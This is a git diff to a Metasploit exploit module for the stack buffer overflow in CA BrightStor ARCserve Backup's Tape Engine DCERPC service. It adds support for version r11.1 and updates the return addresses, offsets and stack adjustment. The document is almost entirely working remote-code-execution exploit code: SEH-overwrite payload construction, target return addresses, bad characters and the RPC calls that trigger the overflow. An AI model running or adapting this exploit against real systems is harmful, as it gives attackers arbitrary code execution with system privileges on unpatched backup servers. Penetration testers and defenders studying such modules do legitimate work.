diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index 08eff4635e..182cd4b733 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -1,5 +1,5 @@ ## -# $Id:$ +# $Id$ ## ## @@ -24,16 +24,19 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote 'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup - 11.5. By sending a specially crafted DCERPC request, an attacker could overflow the - buffer and execute arbitrary code. + r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow + the buffer and execute arbitrary code. }, - 'Author' => [ 'MC' ], + 'Author' => [ 'MC', 'patrick' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2006-6076' ], [ 'BID', '21221' ], + [ 'OSVDB', '30637' ], + [ 'URL', 'http://www.milw0rm.com/exploits/3086' ], + [ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ], ], 'Privileged' => true, 'DefaultOptions' => @@ -44,22 +47,23 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote { 'Space' => 500, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", - 'StackAdjustment' => -3500, + 'StackAdjustment' => -9500, }, 'Platform' => 'win', 'Targets' => [ - [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ], - ], + [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004 + [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/???? + ], 'DisclosureDate' => 'Nov 21 2006', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 1)) - register_options([ Opt::RPORT(6502) ], self.class) + register_options([ Opt::RPORT(6502) ], self.class) end def exploit connect - + handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") @@ -70,13 +74,13 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dcerpc.call(43, request) - - filler = "\x10\x09\xf9\x77" + rand_text_english(1132) + + filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset']) seh = generate_seh_payload(target.ret) sploit = filler + seh print_status("Trying target #{target.name}...") - + begin dcerpc_call(38, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse @@ -87,4 +91,4 @@ class Exploits::Windows::Brightstor::Tape_Engine < Msf::Exploit::Remote end end -end +end